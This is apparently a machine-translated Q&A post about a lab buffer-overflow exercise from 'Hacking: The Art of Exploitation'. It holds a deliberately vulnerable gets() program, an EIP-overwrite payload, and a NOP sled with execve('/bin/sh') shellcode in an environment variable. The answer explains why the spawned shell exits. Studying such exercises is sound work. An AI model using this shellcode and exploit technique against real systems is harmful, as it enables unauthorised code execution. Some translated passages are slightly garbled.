为什么我不能执行存储在环境变量中的shellcode? 问题我做了什么问题为什么不ls?

问题描述

为什么我不能执行存储在环境变量中的shellcode?​​ p>

问题

我正在尝试通过引用缓冲区溢出来执行存储在环境变量中的shellcode Hacking: The Art of Exploitation,2nd Edition

我获得了EIP,并将shellcode存储在环境变量中,但是我无法执行。

hostOS:Windows10 64位

guestOS(虚拟盒):Linux kali 5.7.0-kali1-amd64

cpu:核心i7-2670QM

内存:8GB

我做了什么

我制作了一个具有缓冲区溢出漏洞的源代码(/media/sf_share/ctf/ctest/bof3.c)。

    [hoge@kali] /media/sf_share/ctf/ctest
    % cat ./bof3.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    void jmphere(char* v) {
        printf("jumped\n");
    }

    void vuln(){
        char a[32];
        printf("give me a word.\n");
        gets(a);
        printf("You typed %s\n",a);
        printf("jumping to 0x%x !\n",__builtin_return_address(0));
    }

    int main(int argc,char *argv[]) {
        vuln();
        return 0;
    }

它的编译如下。

[hoge@kali] /media/sf_share/ctf/ctest
% gcc -m32 -g -O0 -fno-stack-protector -z execstack ./bof3.c -o ./bof3
./bof3.c: In function ‘vuln’:
./bof3.c:12:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
   12 |     gets(a);
      |     ^~~~
      |     fgets
/usr/bin/ld: /tmp/ccAhKY66.o: in function `vuln':
/media/sf_share/ctf/ctest/./bof3.c:12: 警告: the `gets' function is dangerous and should not be used.

ASLR已被禁用。

[hoge@kali] /media/sf_share/ctf/ctest
% sudo sysctl -w kernel.randomize_va_space=0
[sudo] hoge のパスワード:
kernel.randomize_va_space = 0

我通过gdb查找到返回地址(44字节)和jmphere函数的地址(0x565561b9)的偏移量,并成功控制了EIP。

[hoge@kali] /media/sf_share/ctf/ctest
% python -c 'print("a"*44+"\xb9\x61\x55\x56")'|./bof3
give me a word.
You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�aUV
jumping to 0x565561b9 !
jumped
zsh: done                python -c 'print("a"*44+"\xb9\x61\x55\x56")' |
zsh: segmentation fault  ./bof3

问题

接下来,我尝试将shellcode存储在环境变量(MYSHELLCODE)中,并尝试启动/ bin / sh。 Shellcode来自here

[hoge@kali] /media/sf_share/ctf/ctest
% cat ./env_shellcode-2.sh
#!/bin/sh

nopsled=$(perl -e 'print "\x90"x200')
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

total=$nopsled$shellcode

export MYSHELLCODE=$(echo $total)
echo $MYSHELLCODE |xxd
[hoge@kali] /media/sf_share/ctf/ctest
% source env_shellcode-2.sh
00000000: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000010: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000020: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000030: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000040: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000050: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000060: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000070: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000080: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000090: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000000a0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000000b0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
000000c0: 9090 9090 9090 9090 31c0 5068 2f2f 7368  ........1.Ph//sh
000000d0: 682f 6269 6e89 e389 c189 c2b0 0bcd 8031  h/bin..........1
000000e0: c040 cd80 0a                             .@...

我用gdb查找了MYSHELLCODE的地址,并试图通过跳到它周围来执行shellcode,但是没有用。 / bin / sh没有启动,程序正常完成,如下所示。

任何人都可以解释如何执行代码吗?

gdb-peda$ x/10s $esp+1900
(omitted)
0xffffdea2:     "MYSHELLCODE=",'\220' <repeats 188 times>...
0xffffdf6a:     '\220' <repeats 12 times>,"\061\300Ph//shh/bin\211\343\211\301\211°\v1\300@"
(omitted)
gdb-peda$ q
[hoge@kali] /media/sf_share/ctf/ctest
% python -c 'print("a"*44+"\xe2\xde\xff\xff")'|./bof3
give me a word.
You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa����
jumping to 0xffffdee2 !

解决方法

好消息!您的Python有效负载(假设是Python 2)或使用环境变量都没有错。问题实际上是其他问题(稍后说明)。

首先,您可以通过将shellcode中的'sh'更改为其他内容来验证代码是否跳转至正确的地址。例如,我的机器上装有/bin/pi,因此我将代码更改为

shellcode="\x31\xc0\x50""h//pi""h/bin""\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

,然后用Scanmem / GameConqueror找到正确的地址(您的地址可能有所不同)后,我将其输出

give me a word.
You typed aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa����
jumping to 0xffffdfb3 !
3.141592653589793238462643383279502884197169399375105820974944592307816406286208998628034825342117067

为什么不ls

如果将sh更改为ls或GNU Coreutils中的许多其他程序中的任何一个,您将收到以下消息:

A NULL argv[0] was passed through an exec system call.

虽然这确实表明shellcode正在执行,但它远没有pi令人满意。 (该消息在here中进行了说明。)

那么sh为什么不起作用?

answer更深入地说明了发生的情况:

shellcode execve(/ bin / sh)执行时,它没有连接的标准输入(由于GETS),并且将终止。

因此,如果您对刚开始使用sh感到满意,只需在gets之后添加:

#include <sys/fcntl.h>
...
    gets(a);
...
    // Close STDIN
    close(0);
    // Open /dev/tty
    open("/dev/tty",O_RDWR | O_NOCTTY);
...

但是,如果要保持程序不变,则必须修改shellcode或有效负载。我上面提到的答案显示了修改后的有效负载的示例,但是由于您看起来好像是通过覆盖返回地址来直接调用地址,因此必须将系统调用放在close {{1}之前}和STDIN open插入您的shellcode。